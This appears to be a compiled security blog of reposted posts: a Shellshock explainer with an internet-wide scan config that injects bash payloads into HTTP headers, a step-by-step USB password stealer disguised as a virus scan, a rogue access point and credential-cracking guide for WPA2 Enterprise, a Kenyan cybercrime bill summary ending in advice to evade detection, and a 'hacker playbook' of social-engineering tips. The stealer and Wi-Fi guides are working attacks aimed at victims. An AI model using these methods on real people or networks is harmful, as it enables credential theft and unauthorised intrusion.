Shell Shock' bug blasts for OS X, Linux systems wide open #Infosec #Security #ShellShock #BashBug

By now, you may have heard about CVE-2014-6271, also known as the "bash bug", or even "Shell Shock", depending on where you get your news. This vulnerability was discovered by Stephane Chazelas of Akamai and is potentially a big deal.  It’s rated the maximum CVSS score of 10 for impact and ease of exploitability. The affected software, Bash (the Bourne Again SHell), is present on most Linux, BSD, and Unix-like systems, including Mac OS X. New packages were released today, but further investigation made it clear that the patched version may still be exploitable, and at the very least can be crashed due to a null pointer exception. The incomplete fix is being tracked as CVE-2014-7169.

Should I panic?

The vulnerability looks pretty awful at first glance, but most systems with Bash installed will NOT be remotely exploitable as a result of this issue. In order to exploit this flaw, an attacker would need the ability to send a malicious environment variable to a program interacting with the network and this program would have to be implemented in Bash, or spawn a sub-command using Bash. The Red Hat blog post goes into detail on the conditions required for a remote attack. The most commonly exposed vector is likely going to be legacy web applications that use the standard CGI implementation. On multi-user systems, setuid applications that spawn "safe" commands on behalf of the user may also be subverted using this flaw. Successful exploitation of this vulnerability would allow an attacker to execute arbitrary system commands at a privilege level equivalent to the affected process.

What is vulnerable?

This attack revolves around Bash itself, and not a particular application, so the paths to exploitation are complex and varied. So far, the Metasploit team has been focusing on the web-based vectors since those seem to be the most likely avenues of attack. Standard CGI applications accept a number of parameters from the user, including the browser's user agent string, and store these in the process environment before executing the application. A CGI application that is written in Bash or calls system() or popen() is likely to be vulnerable, assuming that the default shell is Bash.

Secure Shell (SSH) will also happily pass arbitrary environment variables to Bash, but this vector is only relevant when the attacker has valid SSH credentials, but is restricted to a limited environment or a specific command. The SSH vector is likely to affect source code management systems and the administrative command-line consoles of various network appliances (virtual or otherwise).

There are likely many other vectors (DHCP client scripts, etc), but they will depend on whether the default shell is Bash or an alternative such as Dash, Zsh, Ash, or Busybox, which are not affected by this issue.

Modern web frameworks are generally not going to be affected. Simpler web interfaces, like those you find on routers, switches, industrial control systems, and other network devices are unlikely to be affected either, as they either run proprietary operating systems, or they use Busybox or Ash as their default shell in order to conserve memory. A quick review of a approximately 50 firmware images from a variety of enterprise, industrial, and consumer devices turned up no instances where Bash was included in the filesystem. By contrast, a cursory review of a handful of virtual appliances had a 100% hit rate, but the web applications were not vulnerable due to how the web server was configured. As a counter-point, Digital Bond believes that quite a few ICS and SCADA systems include the vulnerable version of Bash, as outlined in their blog post. Robert Graham of Errata Security believes there is potential for a worm after he identified a few thousand vulnerable systems using Masscan. The esteemed Michal Zalewski also weighed in on the potential impact of this issue.

In summary, there just isn't enough information available to predict how many systems are potentially exploitable today.

The two most likely situations where this vulnerability will be exploited in the wild:

    1) Diagnostic CGI scripts that are written in Bash or call out to system() where Bash is the default shell
   2)  PHP applications running in CGI mode that call out to system() and where Bash is the default shell

Bottom line: This bug is going to affect an unknowable number of products and systems, but the conditions to exploit it are fairly uncommon for remote exploitation.

Update: A DDoS bot that exploits this issue has already been found in the wild by @yinettesys

Is it as bad as Heartbleed?

There has been a great deal of debate on this in the community, and we’re not keen to jump on the “Heartbleed 2.0” bandwagon. The conclusion we reached is that some factors are worse, but the overall picture is less dire. This vulnerability enables attackers to not just steal confidential information as with Heartbleed, but also to take over the device or system and execute code remotely. From what we can tell, the vulnerability is most likely to affect a lot of systems, but it isn't clear which ones, or how difficult those systems will be to patch. The vulnerability is also incredibly easy to exploit. Put that together and you are looking at a lot of confusion and the potential for large-scale attacks.

BUT – and that’s a big but – per the above, there are a number of factors that need to be in play for a target to be susceptible to attack. Every affected application may be exploitable through a slightly different vector or have different requirements to reach the vulnerable code. This may significantly limit how widespread attacks will be in the wild. Heartbleed was much easier to conclusively test and the impact way more widespread.



How can you protect yourself?

The most straightforward answer is to deploy the patches that have been released as soon as possible. Even though CVE-2014-6271 is not a complete fix, the patched packages are more complicated to exploit. We expect to see new packages arrive to address CVE-2014-7169 in the near future. If you have systems that cannot be patched (for example systems that are End-of-Life), it’s critical that they are protected behind a firewall. A big one. And test whether that firewall is secure.

What can we do to help?



Rapid7's Nexpose and Metasploit products have been updated to assist with the detection and verification of these issues. Nexpose has been updated to check for CVE-2014-6271 via credentialed scans and will be updated again soon to cover the new packages released for CVE-2014-7169.  Metasploit added a module to the framework a few hours ago and it will become available in both Metasploit Community and Metasploit Pro in our weekly update. We strongly recommend that you test your systems as soon as possible and deploy any necessary mitigations. If you would like some advice on how to handle this situation, our Services team can help

Update

 A bug discovered in the widely used Bash command interpreter poses a critical security risk to Unix and Linux systems – and, thanks to their ubiquity, the internet at large.

It lands countless websites, servers, PCs, OS X Macs, various home routers, and more, in danger of hijacking by hackers.

The vulnerability is present in Bash up to and including version 4.3, and was discovered by Stephane Chazelas. It puts Apache web servers, in particular, at risk of compromise: CGI scripts that use or invoke Bash in any way – including any child processes spawned by the scripts – are vulnerable to remote-code injection. OpenSSH and some DHCP clients are also affected on machines that use Bash.

Ubuntu and other Debian-derived systems that use Dash exclusively are not at risk – Dash isn't vulnerable, but busted versions of Bash may well be present on the systems anyway. It's essential you check the shell interpreters you're using, and any Bash packages you have installed, and patch if necessary.

"Holy cow. There are a lot of .mil and .gov sites that are going to get owned," security expert Kenn White said on Wednesday in reaction to the disclosed flaw.

The 22-year-old bug, dating back to version 1.13, lies in Bash's handling of environment variables: when assigning a function to a variable, trailing code in the function definition will be executed, leaving the door wide open for code-injection attacks. The vulnerability is exploitable remotely if code can be smuggled into environment variables sent over the network – and it's surprisingly easy to do so.

According to the NIST vulnerability database, which rates the flaw 10 out of 10 in terms of severity:

    GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution.

    Authentication: Not required to exploit

    Impact Type: Allows unauthorized disclosure of information; Allows unauthorized modification; Allows disruption of service

An advisory from Akamai explains the problem in more depth, as does this OSS-Sec mailing list post.

Proof-of-concept code for exploiting Bash-using CGI scripts to run code with the same privileges as the web server is already floating around the web. A simple Wget fetch can trigger the bug on a vulnerable system.

A nasty bug in many of the world’s Linux and Unix operating systems could allow malicious hackers to create a computer worm that wreaks havoc on machines across the globe, security experts say.

The flaw, called Shellshock, is being compared to last spring’s Heartbleed bug because it lets attackers do some nasty stuff—in this case, run unauthorized code—on a large number of Linux computer servers. The flaw lies in Bash, a standard Unix program that’s used to connect with the computer’s operating system.

The good news is that it doesn’t take long to patch the bug. At internet infrastructure provider CloudFlare, admins scrambled for about an hour this morning to fix the flaw, which was disclosed late on Tuesday. “We got 95 percent of it done within 10 minutes,” says Ryan Lackey a security engineer at the company.

The flaw is being compared to last spring’s Heartbleed bug because it lets attackers do some nasty stuff on a large number of Linux servers

Because Shellshock is easy to exploit—it only takes about three lines of code to attack a vulnerable server—Lackey and other security experts think there’s a pretty good chance that someone will write a worm code that will jump from vulnerable system to vulnerable system, creating hassles for the world’s system administrators. “People are already exploiting it in the wild manually, so a worm is a natural outgrowth of that,” Lackey says.

To exploit the bug, the bad guys need to connect to software such as PHP or DHCP—which use bash to launch programs within the server’s operating system

I'm at the Virus Bulletin 2014 Conference, taking bets on when we'll see a worm exploiting the #Shellshock bash bug.

— Mikko Hypponen (@mikko) September 25, 2014

There are still some important questions about the bug. One is whether other operating systems that use Bash—Mac OS, for example—are vulnerable. Another big one: how many linux server applications and appliance-like Linux devices—things like storage servers or video recording devices—might be vulnerable to the flaw. Many of these Linux systems to not use the Bash software, but those that do could be vulnerable to attack and difficult to patch.

In the grand scheme of things, Shellshock is not as big of a problem as, say, phishing attacks, which continue to trick internet users, says Robert Graham, CEO of Errata Security. However, it’s “slightly worse then Heartbleed,” he says. “It’s in more systems. It’s going to be harder to track them down and patch them, and you can immediately exploit it with remote code execution.” Heartbleed let criminals steal your username and passwords, but it didn’t make it quite so easy to run your own malicious software on a vulnerable system, Graham says.

Like Heartbleed, the new bug has been around for a long time, and was introduced in a widely used piece of open source software. In the wake of Heartbleed, the open source community came up with some money to beef up the security of several popular open-source tools. And it may be time to add a few more—including Bash— to that list.

Exploiting the BUG

This article has a nice example of exploiting this bug:

Exploiting the Bug

By creating a HTTP request like this:


Code[select]

target = 0.0.0.0/0
port = 80
banners = true
http-user-agent = shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)
http-header = Cookie:() { :; }; ping -c 3 209.126.230.74
http-header = Host:() { :; }; ping -c 3 209.126.230.74
http-header = Referer:() { :; }; ping -c 3 209.126.230.74

The attacker is able to (in this situation) have the target ping a 
specific IP. Imagine many targets doing this simultaneously to perform a 

DDOS attack as seen in the post below:
 

</DDOS>

-Article Credited to Various Sources-

Creating a USB Password Stealer #Pentesting #USB #Passwords #Infosec #Security

One of the most dangerous things we all do on a regular basis, for obvious reasons, is saving our passwords in our browsers. We don't really think about the dangers in it, we see the convenience in not having to input (in my case) 10 characters after already typing our username or email every time we want to do something as simple as log in to Facebook. Well this tutorial can show you how dangerous it really is just storing your passwords for easy access to your accounts.

I want everyone to keep in mind, this tutorial is strictly for educational purposes, & any attempts to use these tactics for stealing information without permission is solely on you. Don't go tattling on me.

What you'll need:

A USB Drive, preferably 2GB+

A Windows computer

MessenPass: Used for recovering passwords from various instant messenger applications.

Mail PassView: Used to fetch passwords from popular email clients such as Outlook or Thunderbird.

IE PassView: Used to gather passwords stored by Internet Explorer (for those who just can't accept change..)

Protected Storage PassView: This program retrieves passwords from Windows 'protected storage'. This is one of the most useful.

PasswordFox: Used to fetch passwords & sensitive information from Firefox.

Now, there are many others that you can add to this USB Password Fetcher, & if you know of any that you feel should be added to this article, don't hesitate to comment.

Preparing the drive

Before anything else, we want to get all the applications ready to go & installed on the USB drive. You'll ONLY need the executable (*.exe) files to be on the USB drive. Download the 5 tools & extract the executables to the drive. With the next step, we'll write a simple Autorun.inf file that will tell the victim's computer to run these applications.

Making the drive run automatically

What is an autorun.inf?

An autorun.inf file is a text file that can be used by the AutoRun and AutoPlay components of Microsoft Windows operating systems. For the file to be discovered and used by these component, it must be located in the root directory of a volume. As Windows has acase-insensitive view of filenames, the autorun.inf file can be stored as AutoRun.inf or Autorun.INF or any other case combination.

The AutoRun component was introduced in Windows 95 as a way of reducing support costs. AutoRun enabled application CD-ROMs to automatically launch a program which could then guide the user through the installation process. By placing settings in anautorun.inf file, manufacturers could decide what actions were taken when their CD-ROM was inserted. The simplest autorun.inf files have just two settings: one specifying an icon to represent the CD in Windows Explorer (or "My Computer") and one specifying which application to run.

This file will tell the victim's computer to run the various tasks we want the USB drive to perform.

Writing the Autorun.inf

Open Notepad & paste the following code in the document:

[autorun]

open=launch.bat

ACTION= Perform a Virus Scan

Now go to File & click Save As..

Save the file as: autorun.inf on the USB Drive's root.

Be sure to change the Save As Type to All Files, otherwise you'll just be saving this as a text file.

This alone won't do what we need it to, but as you can see its launching a batch(*.bat) file that we'll write next that will perform the password fetching process. The reason we do this is because we can perform more advanced tasks with a batch file than we can with an autorun.inf.

The ACTION= will display to the end user what the USB Drive's function is. We both know that its not performing a virus scan, but we wouldn't be very stealthy if it just read STEALING YOUR PASSWORD. U MAD BRO? so we're going to disguise this as a healthy computing task.

Writing the batch file

Open up Notepad again, & paste the following:

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

Aside from launching the various applications, we're actually asking the computer to log everything in an individual text (*.txt) file. Now if you really want to, you could ask the computer to create one universal log file, but I wouldn't recommend this. Its much easier to decipher this way.

Go to File, & Save As.. and save this file as launch.bat on the USB drive's root. Be sure to change the Save As Type to All Files, otherwise you'll just be saving this as a text file.

Now everything should be ready for testing!

Testing the USB Password Fetcher

Now keep in mind, in some cases, Autorun could be completely disabled, in which this tactic will not work, but let's get started with our first test.

Pop the USB Drive in any available USB port on the victim machine, & an autorun prompt will pop-up. The first option should say Perform A Virus Scan. Perform your "virus scan" & silently, your password fetcher is throwing all the information into various text files on your USB Drive. This process is relatively quick, so don't fret if you blinked & missed it.

Enjoy those passwords

Pull your drive from the victim computer & plug it into your personal computer. This time, to view the passwords, choose Open folder to view files from the autorun menu, & check your text files.

Tough Law on Cybercrime Targets All Kenyans #Hackers #Hacking #Cybercrime #Cyberbulling #Kenya

Kenya still relies on Central Depositories Act and the Penal Code, among other frameworks, that are not clear with regard to arresting and prosecuting cyber-crime suspects. Previously, Kenyans courts were limited in trying offenses committed outside the country. Those found guilty will either be fined up to Sh2 million, be jailed for three years, or both.Courts in the country will soon have jurisdiction to try any Kenyan citizen who commits an offense anywhere in the world if the Cybercrime and Computer Crimes Bill, 2014 becomes law.

The Bill, which was drafted by the office of the Director of Public Prosecution and is to be tabled in Parliament, proposes actions for offence committed in and outside Kenya.

“We need these laws and once in place we have to sensitise Kenyans so that we can deal with cybercrime,” Deputy Director of Public Prosecutions Dorcas Oduor said when opening a forum for stakeholders to discuss the proposed Bill this week. (READ: There’s urgent need for internet law)

Previously, Kenyans courts were limited in trying offences committed outside the country.

DISCLOSE PASSWORDS

Those found guilty of committing the offence on a ship or aircraft registered in Kenya, using a Kenyan domain name or outside the territory of Kenya will also be prosecuted.

They will either be fined up to Sh2 million, be jailed for three years, or both.

Evidence generated from a computer system will also be admissible in a court of law while prosecuting such a crime.

The Bill also proposes that a person who causes a computer system to perform a function, knowing that the access they intend to secure is unauthorised, commits an offence.

“A person who intentionally and without lawful excuse or justification, inputs, alters, delays transmission, deletes, or suppresses computer data, resulting in inauthentic data with the intent that it be considered or acted upon for legal purposes as if it were authentic, commits an offence and is liable upon conviction to a fine not exceeding ten million or ten years imprisonment or both.”

EMOTIONAL DISTRESS

The Bill also proposes that a person who sells, lets to hire, distributes, publicly exhibits through a computer system and puts into circulation, or for purposes of sale, hire, distribution, public exhibition or circulation, makes, produces or their possession any obscene book, pamphlet, paper, drawing, painting, art, representation or figure or any other obscene object commits an offence.

Those using computers to threaten, abuse or insulting words or behaviour, displays publishes or distributes written or electronic material; or distributes, shows or plays, a recording of visual images will be held accountable.

The Bill also proposes action on a person who uses a computer system including electronic communication to harass, intimidate or cause substantial emotional distress or anxiety to another person.

These include communicating obscene, vulgar, profane, lewd, lascivious, or indecent language, picture or image.

Courts will also issue a warrant authorising a police officer or lawful authority, to enter any premises to access, search and seize the thing or computer data.

All public or private corporations processing personal data will be expected to report any security breaches resulting in theft, loss or misuse of data to the police and those who will fail will be committing an offence.

 Depicted from The Daily Nation

Is it worth it?! For others, they need that rush, that adrenaline flow in their blood,so its a fruit that must be eaten-I have one phrase to guide you; that's if you can't stay away from that adrenaline rush: 'Make it hard for them to find you, and impossible for them to prove they've found you' *Winks* Happy Hunting

Attacking WPA/WPA2 Enterprise Networks #Hacking #Networking #Infosec #WiFi #Wireless #WPA2

Introduction:

This guide will discuss some of the security flaws regarding wireless networks implementing WPA/WPA2 Enterprise authentication as well as ways to exploit these weaknesses. Enterprise type authentication models are mostly used in corporate settings consisting of companies that typically have a lot of people. From what I have seen a lot of Universities, Colleges as well as Hospitals also use this form of authentication to verify its users. The methods discussed below are usually a result of VERY COMMON poor configuration in regards to certificate validation as well as RADIUS configuration.

DISCLAIMER: DO NOT USE ANY OF THE METHODS BELOW AGAINST NETWORKS THAT YOU ARE NOT AUTHORIZED TO AUDIT.

Homework: First and foremost if you do not know exactly how enterprise authentication works I suggest you do some reading to get yourself familiar with the process of how clients are verified. I highly suggest reading this PEAP which discussed the different types authentication types that can take place within enterprise. Also take a look at RADIUS which gives some nice detail as to how the RADIUS server works. A few things to take note of:

1. WPA/WPA2 Enterprise does NOT use a preshared key, this means that every time a user is verified on the network a random key is generated. To the best of my knowledge this cannot be cracked by capturing packets.

2. This guide will cover mainly PEAP since it accounts for 80% or more of the types used in the US (see Wikipedia page)

3. EAP is responsible for authentication NOT the access point

4. The access point handles the encryption( TKIP/CCMP)

I will try and outline how the authentication process works as simply as possible...

Okay, this diagram will hopefully help you visualize what's going on. Here is the process in order which things occur.... 1.Client sends request to access point to connect. 2. The access point responds telling the client to connect to the RADIUS server to be authenticated. 3. Client connects to the RADIUS server. 4. RADIUS sets up TLS tunnel to receive username and password from client. 4. RADIUS server verifies client . 5. RADIUS server tells access point that the client is verified and can now connect. 

Scenario 1: For our first attack we will be using a rogue access point. Due to the way enterprise is implemented this becomes essential in helping us get past the RADIUS server problem. The Radius server uses a certificate to validate the access point along with the network. Once the certificate is validated the client sends his username and password to the server to be verified. What we will be exploiting is a VERY common mistake made in configuring PEAP, where certificate validation is NOT used! If PEAP is configured this way (surprisingly a lot of the time it is..) the client will not be prompted if an invalid certificate is used and unknowingly will accept it. Step 1: Create a fake AP by matching the target networks SSID, encryption type and band (a/b/g/n).

This can very simple or very complex depending on how sophisticated you want this attack to be. For example you could take a regular Linksys home router change its settings and run it off of batteries for more stealth placement. See this link for details on running a router off of batteries Wrt54g on batteries. You can run a normal Linksys router on a lead acid battery for close to a month.

This allows for stealthy placement of the access point where it will not need a hard wired power source. Using modified antennas and/or amplifies will also be more powerful in getting users to connect. (more info on this later)

 

Step 2: Create our own fake RADIUS server.

Okay we have our fake access point that identical to our target network. Now we need our fake RADIUS server. We will be setting up our own little fake RADIUS server on a version of Backtrack4 which will be connected wirelessly to our fake access point. Download the free radius server from www.freeradius.org (You may need version 2.02 haven't tested with the newer one) . Extract freeRADIUS and go to that directory. We will be applying a patch known as Wireless Pwnage Edition created by Joshua Wright and Brad Antoniewicz. Available here WPE freeradius. What this patch does:

• Will return success for ANY authentication request regardless of who it is.
• Will create a Log of all client credentials. This includes username, password and the challenge response. (if you don't know what a challenge response is you didn't read the Wikipedia page)
• This will log credentials for PEAP, TTLS, LEAP, EAP-MD5, EAP-MSCHAPv2,PAP,CHAP

In the directory where freeRadius is extracted run the following to patch freeRADIUS. $ patch -p1 < ../freeradius-wpe-2.0.2.patch $ ./configure && make && sudo make install && sudo ldconfig Now we will create our certificates. $ cd freeradius-server-2.0.2/raddb/certs $ ./bootstrap $ sudo cp -r * /usr/local/etc/raddb/certs Start the server. # radiusd Monitor the Log File # tail -f /usr/local/var/log/radius/freeradius-server-wpe.log

Next we need to set our fake access point to use our RADIUS server.

Fill in the required fields on the fake access point. Now we need to get a client to connect to our AP. You can do this a few ways. You can simply wait until a client connects or if your impatient like me you can start deauthenticating people from legit access points. ( we all know how to do that right :p ) There's other ways as well, by having the strongest signal strength people will connect to your AP instead of others, you can do this by using antennas/amplifiers if necessary. Chances are you shouldn't have to go the amplifier route and you should have a victim connect to your AP and type in their credentials which the RADIUS server will capture. When viewing the log you should see something like this. (**NOTE** VISIBLE ACCESS POINTS TAKE PRECEDENCE OVER HIDDEN ACCESS POINTS IN WINDOWS)

The challenge and response is their password. Now we have to crack it with a dictionary attack.

Fire up Asleap This is what we will be using to crack the challenge and response. Type the following ./asleap -w "wordlistgoeshere" -C "Challenge" -R "Response" Now you wait. Depending on how good your dictionary is you will have a password. GRATZ!

Scenario 2 (excuse my lack of detail, if anyone wants I will write up a more detailed version) Now what if the certificate validation is used when configuring PEAP? This will cause the user to be prompted to accept the certificate when they join a new network. The dialog box that is presented gives VERY LITTLE DETAIL! Their certificate will verify that the network they are joining is correct and legitimate. We can apply the same attack as above and succeed as long as the user accepts the certificate and they did not specify which server the certificate is valid for which is not filled in by default. This is another very common negligence by people setting up PEAP. Now knowing end users, the chances are pretty good that they will click accept since the dialog provides minimal detail. Now before we proceed we will need to sniff the certificate that the user is using. This can be done with almost any wireless capture tool. When a user connects to their network a TLS connection will be setup up and the certificate will be able to be captured as it is not encrypted during the first request. After some very basic wireless sniffing, determine the CA of the certificate. These are usually the major vendors such as Verisign. You will need to purchase a LEGITIMATE certificate from this vendor to perform the attack. After you have purchased the certificate set the fake RADIUS server up to use it. Now because the person who configured PEAP did not specify the server that the certificate was valid for the user will not see any difference in accepting ours since its from the same vendor.

Scenario 3  Iphone exploit When you have a company that uses WPA/WPA2 enterprise chances are there's going to be some iphones around. This presents a great opportunity to infiltrate the network due to a fundamental flaw in the iphones wifi setup. The iphone does not have the options to specify what authentication type to use in regards to enterprise they simply just aren't there. The iphone also doesn't allow for a preconfigured certificates meaning they can't be tied to a legit RADIUS server. This flaw makes them susceptible even in the worst case scenario being certificate validation is enabled tied to a specific radius server. Please keep in mind that some phones do support these options, such as the Motorola droid but Iphones DO NOT.

 Conclusion When performing an audit on a WPA/WPA2 Enterprise network always check for common misconfiguration of their equipment as these may lead to insecurities. ALWAYS make sure your clients have certificate authentication enabled as well as a specific server tied to it. Special Thanks to the guys over at SecureState Well that's the end of this guide...I guess. Let me know what you think =)

Inside A Hacker's Playbook #BlackHat vs #WhiteHat #Hacker #Hacking #Infosec #Security #InternetSecurity

Inside A Hacker's Playbook:Ten Targeted Techniques That Will Break Your Security

{Click Here For The eBook-Password's "ryaandavis.blogspot.com" For reading later/referrals}

"If You Know How To Hack, You Know How To Protect"

Targeted attacks are successful because they are stealthy, specific and disarmingly personal. If they do it right, advanced attackers can quietly infiltrate a network and steal data or information at will for months or even years. Learn how to stop them by taking a page from their playbook— literally. This post presents a never-before-seen copy of an advanced attacker’s technique manual. Use it well to design security that counters their plays perfectly.

A Playbook On Profiting From Targeted Attacks

Before we tackle the finer techniques of building a money-making cyber scam, let’s talk a little about the basics of this gig, shall we?

First of all here’s what we are not trying to do. We’re not trying to blanket the internet with malicious V1agrow spam or mass SQL inject a zillion websites.

We’re narrowing our work down to a specific company or industry based on vulnerability opportunities that we scare up. The broadest we’ll get is hitting a range of companies vulnerable to one precise vulnerability — either never discovered by security researchers or just recently patched by a vendor.

Do it right and you’ll get your hands on huge caches of valuable customer data, and maybe even hit the jackpot with the target’s most important intellectual property. With that, you can blackmail people or sell to competitors — or even to nation states.

You won’t just be buying a new Ferrari.

You’ll be buying a fleet of ‘em.

 

 

Know Your Adversary

With a little bit of research, some crafty writing and the right technology, crooks make a good living running targeted attacks to steal corporate and government data. The more we can learn about their techniques, the better we can counter them.

As we sneak a look at each of the plays inside this bad guy (BlackHat) instruction manual, let’s look for ways to turn this inside knowledge on its head. This post will also offer advice on how to block each attack technique (WhiteHat)

BLACKHAT {Section}

Play 1: Staging Your Attack

Let’s get to easy money! Most times, there are five stages to a really gnarly targeted attack:

a)     Research: Start by doing recon on the anticipated target. Dig for publicly available information and socially engineer your way to exploitable info about their IT systems

b)     Intrude: Use that information to find the right employee to spearphish and the right vulnerability to target with your malicious payload—once the bait’s taken you’ll have your initial toehold in the target’s network

c)     Propagate: When you pwn one machine, use its network connections to spread malware onto other machines so even if you’re detected in one place you’ve got control of other machines

d)     Infect: Once you get the lay of the land through your different connections, install more tools to really start to steal and aggregate data

e)     Exfiltrate: Finally, you’ve got to get all that data out of there. Among other options, public web traffic works well

WHITEHAT {Section}

Step one in the fight against targeted attacks is developing executive awareness that these attacks really are happening. Because these attacks are designed precisely to avoid detection, it’s easy to pretend you’re not being targeted or attacked. But chances are you may already be compromised.

Facts

76% of breached organizations needed someone else to tell them they'd been compromised

48% were told by regulatory bodies

25% by law enforcement

1% by the public

2% by a third party

BLACKHAT {Section}

Play 2: Specialize And Outsource

It’s not what you know, it’s who you know. Put together your own little mafia with specialists who work together to keep your multi-step campaigns running. Just like cave men split labor into hunting and gathering, you just have to break it up into hacking and scamming.

Build the team however you like. Hire people, outsource to malware kit vendors, even work in an equal partnership.

Just remember what they say about honor among thieves…

Just think: no n00bs allowed. If they can’t spell or find the caps lock, or code better than your average script kiddie can, its hasta la vista, baby.

Play 3: Scale Your Attacks

Once you get together that A-team, you’re going to milk every vulnerability dry.

Developed or bought an exploit for a new vulnerability in some sorry old company’s retail point of sale (POS) system? Maybe it's for some small-time grocery store in San Francisco, but then maybe that same exact vulnerability and system configuration is going to work in POS machines at other franchises of the same brand.

Then, son, your meal-ticket is punched. You’ll steal ten times the data but only really do the work to break into one location.

WHITEHAT {Section}

The FBI's List of Cyber Crime Specialties

Targeted attackers are building a business around stealing from your business.

Just as you’d dedicate a lot of specialized employees and vendors to solving your business problem, they’re sourcing skills necessary to crack your defenses. Here are the top five out of 10 common specialties named by the FBI:

Coders: write malware, exploits and data theft tools

Vendors: trade and sell stolen data, malware kits, footprints into compromised networks

Criminal IT Guys: Maintain criminal IT infrastructure like servers and bullet-proof ISPs

Hackers: seek and exploit application, system and network vulnerabilities

Fraudsters: create and execute social engineering ploys like phishing and domain squatting

*********************************************************************

In order to stay a step ahead of the attackers, you’ve got to start thinking like them. One key way to do that is to hire penetration testers to barrage your systems with the same type of techniques the bad guys use. Doing so can help you find widespread vulnerabilities like the POS example highlighted above.

Facts

>1/3 More than a third of data breach investigations occur within franchise businesses

 

BLACKHAT {Section}

Play 4: Play The Player, Not The Game

There’s a good chance your target’s employees will be oh-so-helpful without even knowing it. They’ll give you information, help you upload malware on their machine and even hold the door open for you if you need to sneak into a building. These peeps should be your best friends during the first two stages of attack: research and intrusion.

So work this to your advantage. Here are some tips:

• If you want information-about the org chart, location of a data center, technology they use or whatever—call someone who would know, pretend to be from another department and just ask. Nine times out of ten they’ll freely tell you out of the kindness of their hearts.

• Official-sounding emergencies work every time. Act like you need help to get a ‘mission-critical’ project done or else heads will roll. Works best if you know the name of their boss’ boss.

• If your target employee is high up the food chain and too paranoid to take your bait, try working someone in their entourage. A lot of admins—even temps—are sitting at workstations that can access the same systems the boss’ computers are hooked into.

• Congrats—you just got a job in HR. Pretend to be a recruiter. In this market, people’s judgment tends to get clouded if they think there’s a new job on the horizon.

• Depending on how much you’ve got riding on this attack, you may even invest in a little in-person social engineering. Put on a delivery uniform, bring some flowers and see if someone will let you in the building.

WHITEHAT {Section}

Your employees typically play a big role in a targeted attack and their response to advanced attackers’ probes have the potential to make or break your organization’s chances of keeping the bad guys at bay. In spite of that, industry estimates show consistently that as few as a quarter to a third of employees today are ever trained on how to respond to these social engineering ploys.

Employee training can make it much harder for targeted attacks to ever take shape—an adversary who can’t gather the right information will find it imminently more difficult to customize an attack.

Facts

48% of large companies have experienced 25 or more social engineering attacks in the past two years¹

70% of young workers regularly ignore IT policies²

30% of large companies said social engineering cost them an average of $100,000 per

incident³

Source:

1)     www.securingthehuman.org/blog/2011/09/22/ justifying-your-awareness-program-with-social-engineering-survey

2)     www.eweek.com/c/a/Security/Younger-Employees- Ignore-IT-Policies-Dont-Think-About-Security-Says-Cisco-274940/

3)     www.securingthehuman.org/blog/2011/09/22/justifying-your-awareness-program-withsocial-engineering-survey

BLACKHAT {SECTION}

Play 5: Get Social For Better Recon

Sometimes you don’t even need to ask employees for information—they’ll offer it up right on their Twitter feed. Use social media to find out all sorts of sweet Intel. Here’s what you can find out by making a dummy Facebook account and tricking someone into friending it:

• Where they went to high school or college

• Their mother’s maiden name

• Their birthday

• Their dog’s name

• Facts about their job: title, promotions, boss’ name, big projects coming up etc.

All of these are valuable hints at passwords, system challenge question answers and information that are going to grease the skids of your targeted campaign. Even if you don’t friend the person directly, you can potentially dig up info by friending one of THEIR friends. Evil genius, no?

Social media also rules when it comes to building a psych profile on an employee who might turn out to be the kind of tool to help you roll out that first intrusion into a target company. If you know what his or her hobbies are, what teams they root for or any other personal information, you can craft the perfect bait that will get them to visit a site you’ve infected or trick them into opening a malicious document.

 

WHITEHAT {Section}

 

“Elite cybercriminals are tapping into search engines and social networks to help them target specific employees for social-engineering trickery at a wide range of companies, professional firms and government agencies.” — Byron Acohido USA Today

*********************************************************************

According to recent numbers, more than half of enterprises today have seen malware infections rise as a result of employees’ use of social media. And that’s just the tip of the iceberg when it comes to how a persistent attacker will use social media to their advantage. Social media as an intelligence goldmine is an extremely effective method for hackers to start planning their plan. There’s no silver bullet, but a combination of smart social media policies, automated enforcement of these policies and a workforce well-trained in the ways of social engineers can help stem the tide of these attacks.

Facts

32.8% of passwords contain a name in the top 100 girl and boy name lists

16.7% of passwords contain a name on the top 100 dog names list (this is the kind of info people readily give away on their social media feeds)

BLACKHAT {SECTION}

Play 6: Probe For Every Weakness

Why break a window when you’ve got the key for the front door? Look for user credentials at every step of the way.

Goal number two is to find clues about the architecture

of the target company’s IT infrastructure to choose the right malware kit or custom build something that can help you pick the proverbial locks if the keys aren’t lying around. This can be anything from unencrypted password files to lists of company IP addresses to system version information of deployed assets.

There are vulnerabilities in just about every corporate network between here and the moon. If your target company doesn’t have them, chances are a third party vendor or Partner Company with ties into the network probably does.

Should you exploit zero-day vulnerabilities never before discovered by the security industry or vulnerabilities that already have a patch? Uh, yeah. Yeah, you should. If you’re smart, they’ll both play a part in your plans.

Zero-day vulnerabilities rock. But they’re expensive to find and exploit, and known vulnerabilities can be pretty wide open. Most IT departments are too busy to plug their holes with patches.

In situations where you’re seeking very specific information—say manufacturing schematics you’re stealing for a competing company or nation state—and detection isn’t an option, then shelling out for zero-day discovery and exploitation makes sense.

But if it is all about propagating malware in a company you already know (or have a hunch about) has unpatched systems, it makes more sense to take advantage of old vulnerabilities.

WHITEHAT {Section}

DEFENSE:

Hackers might not start with a client-side attack to gain entry into your systems.

Sometimes the first step is to run a SQL injection on your website to find unencrypted password files. Given users’ propensity to reuse passwords, that early work may yield long term access to accounts across many systems.

Strong password management—including enforcement of frequent password changes—is a must to limiting damage in these instances.

On the vulnerability front, organizations have got to do a better job patching their system to limit malicious software’s mojo. Zero-day attacks are a tougher nut to crack and defense against exploitation will depend upon security mechanisms at other security layers to prevent a widespread attack from gaining much ground within the network or exfiltrating data elsewhere.

Facts

42% of organizations have IT staff sharing passwords or access to systems or applications⁴

48% don't change their privileged passwords within 90 days⁵

40% or more enterprises have informal or no patch management processes in place⁷

30% of Apache Tomcat installations with accessible administrative interface have the default credentials

